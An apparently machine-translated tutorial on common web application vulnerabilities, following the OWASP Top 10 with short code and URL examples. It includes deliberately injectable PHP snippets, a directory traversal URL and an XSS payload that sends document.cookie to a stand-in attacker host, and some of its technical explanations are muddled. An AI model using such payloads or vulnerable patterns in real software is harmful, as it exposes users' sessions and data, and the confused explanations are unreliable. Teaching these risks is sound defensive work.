Security of web applications

1. Injection

Injection refers to the attack, in which attempts by injecting arbitrary program code in the application, to paralyze them. This could be done for example through the URL. If this data is not validated on the server side, and so, for example, are transferred directly into a SQL query, there are all doors opened for potential attackers.

$sql = "SELECT * FROM users WHERE id = '" . $_GET['id'] . "'";

2. Broken Authentication and Session Management

This refers to the improper use of sensitive data for the purpose of user authentication. A session is defined as the active connection of a client to a server, started and stopped by the "Login" and "Logout". In order for the server to be able to identify the individual interactions with the many parallel users definitely it uses in each case an unique identifier, the so called "session ID". For safety reasons, this should always be kept secret, and even the software itself be known internally. Here it would be possible, for example, that this (secret) session ID is passed as a parameter to the URL. However if a third person finds out this (eg by sniffing of network traffic), it can navigate these with the profile of the logged-in person, but without ever having known their credentials.

http://example.com/sale/payment?sessionId=123456789&action=view

3. Cross-Site-Scripting (XSS)

Under this designation, two fundamentally different attacks can be meant. At client-side XSS the attacker tries to inject a website with HTML code (or from another client-side scripting language such as Javascript), which is then executed in the browser of the victim. So it could be possible to initiate a "cross-site request forgery" subsequently. A server-side XSS is basically the same, however, is here instead of the browser, the web server the aim of the attack. For example, within the software, an additional file is loaded dynamically, this vulnerability could be specifically exploited to execute an unintended one or even one from another server.

$str = '<input tpe="text" name="creditcard" value="' . $_GET['creditcard_number'] . '" />'; echo $str;

The attacker could so easily perform, for example, the following sample manipulation via javascript:

"><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi?foo=' + document.cookie</script>"

Thus, the browser is constrained then to transmit the session ID to the attacker, and thus to gain unauthorized access to the application (see. Point 2).

4. Insecure Direct Object References

Uncertain object references are defined as the most unwanted disclosure of systemic or user-related data. Mostly this type of attack is used to spy on user data - caused by the non-authenticated execution e.g. of SQL queries with the subsequently direct delivery of the result.

String sql = "SELECT * FROM accounts WHERE account = ?"; PreparedStatement pstmt = connection.prepareStatement(sql, ...); pstmt.setString(1, request.getParameter("account")); ResultSet results = pstmt.executeQuery();

The request could look like this:

http://example.com/account/info?account=not_my_account

In this example, an attacker could easily find out whether a specific user account exists or not.

5. Security Misconfiguration

Security updates in the form of patches are provided for server software as well as the components used mostly. But unfortunately they are all too often ignored - in most cases by the fear of compromising the function of an already working system. But unnecessarily running services and open ports can pose a risk.

6. Sensitive Data Exposure

This point deals with the handling of sensitive data and their secure processing. So a simple encryption based on standard encoding and decoding capabilities is usually not enough, because you can decipher the seemingly "safe" content again just with a few tricks. So here, for example, the use of public and private keys is of enormous importance. If an attacker gets rid of the sensitive data, it is now only half as bad, as long as the key pair with which the data was encrypted, remains secret. The longer these key pairs are, and they also contain multiple special characters, the harder it is to crack this.

7. Missing Function Level Access Control

For systems with different access rights, it suffices by no means that protected areas are simply be hidden. In most cases it is sufficient just to know the appropriate URL or parameters. Therefore, it is even more important on the server side to check the user interactions again in order to largely exclude unauthorized access to. However, these checks have to be independent of the information supplied by the user. Multistage independent validations here are always recommended. For example, it's not enough only to check whether a user is logged in, and then functions simply hide - it must be taken in any case with regard to the user role, and so those areas for which there has no authorization, completely foreclose.

8. Cross-Site-Request-Forgery (CSRF)

For CSRF an existing session between the server and user is required. The attacker tries here to force actively the unsuspecting user to open by XSS manipulated URLs. In contrast to session hijacking (detailed explanation below) the session ID doesn't matter for the attacker.

9. Using components with known vulnerabilities

Theoretically it's easy to figure out whether to use the latest version of a component, or one with known weaknesses or vulnerabilities. But in practice, this is very different - because many manufacturers and developers sometimes not use comprehensible version numbers, this can unfortunately be a real challenge. It is useful to check regularly for updates and possibly also subscribe the newsletters or announcements of the manufacturers.

10. Unvalidated redirects and forwards

This potential vulnerability occurs when continuing or forwarding destinations are passed directly through the URL. To ensure security, these passed URLs should be validated on the server side again before the real forwarding is practiced. Better and more effective is however to pass only IDs or equivalent keys, which are stored for example in a database with the relevant destination URLs behind.

http://example.com/goto.php?url=danger.com

Of course, there are other risks and opportunities for attacks too. Just because they are not listed in the latest OWASP statistic, this nevertheless should not be underestimated!

Session Hijacking

Since the HTTP protocol is stateless, the application needs to realize the identification of a user itself. This is done by using the session ID. At session hijacking, the attacker tries with a "stolen" session ID to fake the identity of a foreign user, and thus to act in its name within the application.

Directory Traversal

In this method, the attacker tries with manipulated paths to resources to get to systemically important data.

http://example.com/download.php?file=stuff.zip

If there's no more further validation, you could download in the following example instead of the nondescript ZIP folder all configuration files.

http://example.com/download.php?file=../../../config.php

Email injection

This problem usually occurs when there are contact forms inside a website. The attacker attempts in this case to inject malicious code (see. XSS), so the message will not only be sent to the operator of the site, but also to a variety of any people. This threat is known as "spam".

Man-In-The-Middle attack

As the name already implies, the attacker is directly inside the user's network. He directs compounds which actually should affect the target server, over his own computer. Because now all the network traffic goes through the attackers' computer, he can easily sniff or manipulate the data. The only protection provides the use of encrypted connections via SSL. But if it should be possible for the attacker to get to this certificate, this measure is futile.

Denial of Service (DoS)

In a DoS attack, the attacker tries to claim by a plurality of parallel queries the server until this load can no longer withstand. An increase here represents the distributed DoS (DDoS), in which the requests are not from a single computer, but with hundreds or thousands parallel requests.

Phishing

Phishing does not count directly to the problems of a web application. Instead, an attacker tries to attract the attention of the victim by sending e.g. mass mailings with links to call the entry form or confirmation of PINs or TANs. If the victim then clicks on this link,it will not be redirected to the supposedly original website, but a visual equivalent of the attacker. Mostly this occurs in relation to online banking. It is therefore very important to check the domain and (if any) the SSL certificate (indicated by HTTPS). Legitimate businesses will never ask you for such information - and certainly not via e-mail!

The range of attack methods is vast - the more important it is to pay attention to such weaknesses already during the development phase, in order to avoid problems later. Attackers are constantly working to bypass security checks, in order to obtain sensitive data and resultantly causing an enormous (financial) damage. Unfortunately, it is so that software will never be 100 percent secure - you can only increase the safety standards accordingly in order to make it more difficult for attackers.